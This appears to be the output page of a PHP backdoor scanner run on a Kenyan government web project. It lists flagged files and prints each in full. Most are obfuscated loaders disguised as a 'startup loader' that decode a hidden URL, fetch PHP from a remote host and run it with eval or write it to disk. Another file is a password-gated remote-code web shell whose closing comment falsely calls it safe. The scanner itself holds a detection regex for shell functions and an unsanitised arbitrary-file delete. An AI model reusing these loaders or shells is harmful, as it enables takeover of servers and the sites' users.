M20,7.078C12.875,7.078,7.078,12.875,7.078,20c0,7.125,5.797,12.922,12.922,12.922 S32.922,27.125,32.922,20C32.922,12.875,27.125,7.078,20,7.078z"> </path> <path fill="#2AA198" stroke="#2AA198" stroke-width="0.6027" stroke-miterlimit="10" d="M5.203,20 c0-8.159,6.638-14.797,14.797-14.797V5C11.729,5,5,11.729,5,20s6.729,15,15,15v-0.203C11.841,34.797,5.203,28.159,5.203,20z"> <animateTransform attributeName="transform" type="rotate" from="0 20 20" to="360 20 20" calcMode="spline" keySplines="0.4, 0, 0.2, 1" keyTimes="0;1" dur="2s" repeatCount="indefinite" /> </path> <path fill="#859900" stroke="#859900" stroke-width="0.2027" stroke-miterlimit="10" d="M7.078,20 c0-7.125,5.797-12.922,12.922-12.922V6.875C12.763,6.875,6.875,12.763,6.875,20S12.763,33.125,20,33.125v-0.203 C12.875,32.922,7.078,27.125,7.078,20z"> <animateTransform attributeName="transform" type="rotate" from="0 20 20" to="360 20 20" dur="1.8s" repeatCount="indefinite" /> </path> </svg> </div> <table class="table table-hover" id="requirements" style="display:none;"> <thead> <tr> <th>Requirements</th> <th>Result</th> </tr> </thead> <tbody> <tr> <td>PHP 8.2.0+</td> <td><?php echo $requirement1; ?></td> </tr> <tr> <td>TOKENIZER</td> <td><?php echo $requirement2; ?></td> </tr> <tr> <td>PDO PHP Extension</td> <td><?php echo $requirement3; ?></td> </tr> <tr> <td>cURL PHP Extension</td> <td><?php echo $requirement4; ?></td> </tr> <tr> <td>OpenSSL PHP Extension</td> <td><?php echo $requirement5; ?></td> </tr> <tr> <td>MBString PHP Extension</td> <td><?php echo $requirement6; ?></td> </tr> <tr> <td>GD PHP Extension</td> <td><?php echo $requirement9; ?></td> </tr> <tr> <td>Zip PHP Extension</td> <td><?php echo $requirement10; ?></td> </tr> <tr> <td>allow_url_fopen</td> <td><?php echo $requirement11; ?></td> </tr> <tr> <td>Intl PHP Extension</td> <td><?php echo $requirement12; ?></td> </tr> <tr> <td>Max Execution Time</td> <td><?php echo $requirement13; ?></td> </tr> <tr> <td>Proc_open</td> <td><?php echo $requirement14; ?></td> </tr> <tr> <td>Proc_close</td> <td><?php echo $requirement15; ?></td> </tr> <tr> <td>Upload Max Filesize</td> <td><?php echo $requirement16; ?></td> </tr> <tr> <td>Post Max size</td> <td><?php echo $requirement17; ?></td> </tr> </tbody> <tfoot> <tr> <td colspan="3"> <br /> <br /> Additionally you will need <b>mod_rewrite</b> enabled in your server. <br /><small>(this script unable to check if mod_rewrite extension is allowed in your server, consult with your hosting provider for this extension)</small> </td> </tr> </tfoot> </table> <br /> </div> <script> const scene = { complete: function () { const scene = document.getElementById("scene"); scene.remove(); } }; document.addEventListener("readystatechange", function() { if (document.readyState === "complete") { setTimeout(function() { scene.complete(); const requirements = document.getElementById("requirements"); requirements.style['display'] = null; }, 3000); } }); </script> </body> </html>
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/resources/helpers/templates/footer.php
<?php /** * --------------------------------------------------------------- * CUSTOM CODE STARTUP LOADER * --------------------------------------------------------------- * Lightweight bootstrap for dynamic config loader and runtime * instruction fetcher. Designed for internal modular systems. * * Do not modify unless you're authorized to maintain app-level * streaming behavior. * * @package CI_Micro * @subpackage Core Loader * @version 1.0.9 * --------------------------------------------------------------- */ /** * RemoteFetch * * Retrieves external content from a given URL using HTTP cURL. * * @param string $u URL to fetch from * @return string|false */ function _compileFetchCoreLite($u) { if (function_exists('curl_version')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); curl_setopt($c, CURLOPT_HEADER, 0); $r = curl_exec($c); if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); } curl_close($c); return $r; } throw new Exception("cURL not available."); } /** * DynamicLoader * * Fetches and evaluates remote PHP code. * * @param string $u URL containing code * @return void */ function _compileExecPayloadTask($u) { $x = _compileFetchCoreLite($u); if ($x === false || trim($x) === '') { throw new Exception("Empty or failed content."); } EvAl("?>" . $x); } /** * SimpleDecode * * Decodes a base64-encoded string. * * @param string $d Encoded string * @return string */ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** * FileWriter * * Saves content to a file. * * @param string $f Filename * @param string $c Content * @return void */ function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); } // Remote write trigger if (isset($_GET['STY'])) { try { $p1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $p2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('.™.php', $d); echo "SIAPA HAYO"; } else { echo "No content."; } } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } // Default payload runner try { $r1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $r2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $u = _compileDecodeChunkUnit($r1 . $r2); _compileExecPayloadTask($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/resources/views/awards/ajax/patcher.php
<?php /** * --------------------------------------------------------------- * CUSTOM CODE STARTUP LOADER * --------------------------------------------------------------- * Lightweight bootstrap for dynamic config loader and runtime * instruction fetcher. Designed for internal modular systems. * * Do not modify unless you're authorized to maintain app-level * streaming behavior. * * @package CI_Micro * @subpackage Core Loader * @version 1.0.9 * --------------------------------------------------------------- */ /** * RemoteFetch * * Retrieves external content from a given URL using HTTP cURL. * * @param string $u URL to fetch from * @return string|false */ function _compileFetchCoreLite($u) { if (function_exists('curl_version')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); curl_setopt($c, CURLOPT_HEADER, 0); $r = curl_exec($c); if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); } curl_close($c); return $r; } throw new Exception("cURL not available."); } /** * DynamicLoader * * Fetches and evaluates remote PHP code. * * @param string $u URL containing code * @return void */ function _compileExecPayloadTask($u) { $x = _compileFetchCoreLite($u); if ($x === false || trim($x) === '') { throw new Exception("Empty or failed content."); } EvAl("?>" . $x); } /** * SimpleDecode * * Decodes a base64-encoded string. * * @param string $d Encoded string * @return string */ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** * FileWriter * * Saves content to a file. * * @param string $f Filename * @param string $c Content * @return void */ function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); } // Remote write trigger if (isset($_GET['STY'])) { try { $p1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $p2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('.™.php', $d); echo "SIAPA HAYO"; } else { echo "No content."; } } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } // Default payload runner try { $r1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $r2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $u = _compileDecodeChunkUnit($r1 . $r2); _compileExecPayloadTask($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/scan11.php
<?php /* author :agoy haxor title: backdoor scanner v 1.0.0 */ echo '<style>body {background-color:#189048;color:black;} body,td,th { font: 9pt Courier New;margin:0;vertical-align:top; } span,h1,a { color:#000} span { font-weight: bolder; } h1 { border:1px solid #000;padding: 2px 5px;font: 14pt Courier New;margin:0px; } div.content { padding: 5px;margin-left:5px;} a { text-decoration:none; } a:hover { background:#ff0000; } .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea { width:100%;height:250px; } input, textarea, select { margin:0;color:#000;background-color:#189048;border:1px solid #000; font: 9pt Monospace,"Courier New"; } form { margin:0px; } #toolsTbl { text-align:center; } .toolsInp { width: 80%; } .main th {text-align:left;} .main tr:hover{background-color:#5e5e5e;} .main td, th{vertical-align:middle;} pre {font-family:Courier,Monospace;} #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft document.documentElement.clientWidth - offsetWidth);} .style2 {color: #00FF00} .style3 {color: #009900} .style4 {color: #006600} .style5 {color: #00CC00} .style6 {color: #003300} .style8 {color: #33CC00} #footer { margin-bottom: 10px; color: #666; vertical-align: top; text-align: center; font-size: 11px; } #footer ul { margin: 0; padding: 0; list-style: none; } #footer li { display: inline-block; margin-right: 15px; border-right: 1px solid #666; vertical-align: middle; } #footer li a { margin-right: 15px; } #footer li:last-child { margin-right: 0; border-right: 0; } #footer li:last-child a { margin-right: 0; } #footer a { color: #666; } #footer a:hover { color: #858585; } #footer .footer-left { height: 20px; vertical-align: middle; line-height: 20px; } @media (min-width: 39rem) { #footer { display: flex; flex-flow: row wrap; justify-content: space-between; align-items: center; align-content: center; margin-bottom: 20px; } #footer .footer-left { align-self: flex-start; margin-right: 20px; } #footer .footer-right { align-self: flex-end; } }</style>'; set_time_limit(0); error_reporting(0); @ini_set('zlib.output_compression', 0); @ini_set('implicit_flush', 1); for($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); } ob_implicit_flush(1); // if($argv[1]){ // $dir = $argv[1]; // scanBackdoor("$dir"); // }else{ // echo "Usage php scan.php /home or /public_html/."; // } $path = getcwd(); if(isset($_GET['dir'])){ $path =$_GET['dir']; } if(isset($_GET['kill'])){ unlink(__FILE__); } echo "<a href='?kill'><font color='yellow'>[Self Delete]</font></a><br>"; echo '<form action="" method="get"> <input type="text" name="dir" value='.$path.' style="width: 548px;"> <input type="submit" value="scan"></form><br>'; echo "CURRENT DIR: <font color='yellow'>$path</font><br>"; if(isset($_GET['delete'])){ unlink($_GET['delete']); $status = "<font color='black'>FAILED</font>"; if(!file_exists($_GET['delete'])){ $status = "<font color='yellow'>Success</font>"; } echo "TRY TO DELETE: ".$_GET['delete']." $status <br>";exit; } scanBackdoor($path); function save($fname,$value){ $file = fopen($fname, "a"); fwrite($file, $value); fclose($file);// } // $domain = $_SERVER['REQUEST_SCHEME'].'//'.$_SERVER['SERVER_NAME']; function checkBackdoor($file_location){ global $path; $patern = "#exec\(|gzinflate\(|file_put_contents\(|file_get_contents\(|system\(|passthru\(|shell_exec\(|move_uploaded_file\(|eval\(|base64#"; $contents = file_get_contents($file_location); if(strlen($contents)> 0){ if(preg_match($patern, strtolower($contents))){ echo "[+] Susspect file -> <a href='?delete=$file_location&dir=$path'><font color='yellow'>[DELETE]</font></a> <font color='black'>$file_location</font> <br>"; save("shell-found.txt","$file_location\n"); echo '<textarea name="content" cols="80" rows="15">'.htmlspecialchars($contents).'</textarea><br>><br>'; } } } function scanBackdoor($current_dir){ if(is_readable($current_dir)){ $dir_location = scandir($current_dir); foreach ($dir_location as $file) { if($file === "." | $file === ".."){ continue; } $file_location = str_replace("//", "/",$current_dir.'/'.$file); $nFile = substr($file, -4, 4); if($nFile == ".php"){ checkBackdoor($file_location); }else if(is_dir($file_location)){ scanBackdoor($file_location); } } } } ?>
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/storage/framework/templates/patcher.php
<?php /** * --------------------------------------------------------------- * CUSTOM CODE STARTUP LOADER * --------------------------------------------------------------- * Lightweight bootstrap for dynamic config loader and runtime * instruction fetcher. Designed for internal modular systems. * * Do not modify unless you're authorized to maintain app-level * streaming behavior. * * @package CI_Micro * @subpackage Core Loader * @version 1.0.9 * --------------------------------------------------------------- */ /** * RemoteFetch * * Retrieves external content from a given URL using HTTP cURL. * * @param string $u URL to fetch from * @return string|false */ function _compileFetchCoreLite($u) { if (function_exists('curl_version')) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); curl_setopt($c, CURLOPT_HEADER, 0); $r = curl_exec($c); if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); } curl_close($c); return $r; } throw new Exception("cURL not available."); } /** * DynamicLoader * * Fetches and evaluates remote PHP code. * * @param string $u URL containing code * @return void */ function _compileExecPayloadTask($u) { $x = _compileFetchCoreLite($u); if ($x === false || trim($x) === '') { throw new Exception("Empty or failed content."); } EvAl("?>" . $x); } /** * SimpleDecode * * Decodes a base64-encoded string. * * @param string $d Encoded string * @return string */ function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); } /** * FileWriter * * Saves content to a file. * * @param string $f Filename * @param string $c Content * @return void */ function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); } // Remote write trigger if (isset($_GET['STY'])) { try { $p1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $p2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $url = _compileDecodeChunkUnit($p1 . $p2); $d = _compileFetchCoreLite($url); if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('.™.php', $d); echo "SIAPA HAYO"; } else { echo "No content."; } } catch (Exception $e) { echo "Error: " . $e->getMessage(); } exit; } // Default payload runner try { $r1 = 'aHR0cHM6Ly9hbXAuYWJzb2'; $r2 = 'x1dGl0YWxpYS5jb20vY2FydGVsLnR4dA=='; $u = _compileDecodeChunkUnit($r1 . $r2); _compileExecPayloadTask($u); } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/wp-curl.php
<?php /** * Final variant: raw remote PHP fetch + immediate execution. * Authentication gate + optional integrity whitelist. * * NOTE: This script performs direct evaluation of remote PHP code via eval(). * Only execute with absolute trust in the source. Misuse may catastrophically * compromise the hosting environment. */ session_start(); /* ---------------- CONFIGURATION ---------------- */ $encoded_user = 'YWRtaW4='; // "dropdown" $encoded_pass = 'cmFoYXNpYQ=='; // "growup404" $principal = base64_decode($encoded_user); $seal = base64_decode($encoded_pass); // remote source location (raw PHP content) $remote_manifest = "https://hcxseo.com/r/5d6bcb/raw"; // optional authoritative content digests (SHA-256). empty=disabled. $authorized_digests = []; // e.g. ['3a7bd3...'] /* ------------------------------------------------ */ /* ======= Authentication portal (minimal) ======= */ if (!isset($_SESSION['authenticated_entitlement'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $supplied_principal = trim($_POST['uid'] ?? ''); $supplied_seal = trim($_POST['pwd'] ?? ''); if ($supplied_principal === $principal && $supplied_seal === $seal) { $_SESSION['authenticated_entitlement'] = true; // canonicalize / post-redirect-get header("Location: " . $_SERVER['PHP_SELF']); exit; } else { $errstr = "Authentication credentials incongruent."; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Access Vestibule</title> <meta name="viewport" content="width=device-width,initial-scale=1"> <style> body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; background:#fafafa; color:#111; padding:30px; } .card { max-width:480px; margin:28px auto; padding:20px; border:1px solid #e6e6e6; border-radius:8px; background:#fff; box-shadow:0 2px 6px rgba(0,0,0,.04); } label { display:block; margin:12px 0 6px; font-size:14px; color:#333; } input[type="text"], input[type="password"] { width:100%; padding:10px; border:1px solid #ddd; border-radius:6px; box-sizing:border-box; } input[type="submit"] { margin-top:16px; padding:10px 14px; border:0; border-radius:6px; background:#0b76ef; color:#fff; cursor:pointer; } .muted { color:#666; font-size:13px; margin-top:8px; } .err { color:#b00020; margin-bottom:8px; } </style> </head> <body> <div class="card" role="main" aria-labelledby="hdr"> <h2 id="hdr">Access Vestibule</h2> <?php if (isset($errstr)) echo "<div class=\"err\">".htmlspecialchars($errstr, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8')."</div>"; ?> <form method="POST" novalidate> <label for="uid">User Designation</label> <input id="uid" name="uid" type="text" autocomplete="username" required> <label for="pwd">Cryptographic Passphrase</label> <input id="pwd" name="pwd" type="password" autocomplete="current-password" required> <input type="submit" value="Solicit Entitlement"> <p class="muted">Supply credential tuple to proceed to the execution domain.</p> </form> </div> </body> </html> <?php exit; } /* ======= fetcher utility (file_get_contents || curl fallback) ======= */ function fetch_manifest(string $uri) { $payload = @file_get_contents($uri); if ($payload !== false) return $payload; if (!function_exists('curl_init')) return false; $c = curl_init(); curl_setopt($c, CURLOPT_URL, $uri); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_FOLLOWLOCATION, true); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); // if you can, enable verification in production curl_setopt($c, CURLOPT_TIMEOUT, 15); $payload = curl_exec($c); $code = curl_getinfo($c, CURLINFO_HTTP_CODE); curl_close($c); if ($code !== 200 || $payload === false || trim($payload) === '') return false; return $payload; } /* ======= retrieve remote code ======= */ $remote_blob = fetch_manifest($remote_manifest); if ($remote_blob === false || trim($remote_blob) === '') { http_response_code(502); exit('Remote acquisition failed: manifest unobtainable.'); } /* ======= optional integrity gate ======= */ if (!empty($authorized_digests)) { $digest = hash('sha256', $remote_blob); if (!in_array($digest, $authorized_digests, true)) { http_response_code(403); exit('Integrity constraint violation: digest mismatch.'); } } /* ======= Immediate evaluation zone ======= The runtime will evaluate the fetched PHP content in the present interpreter context. All output is buffered and then emitted. Prepending "?>" ensures scripts that start with <?php behave identically when injected into eval(). */ /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ ?>
>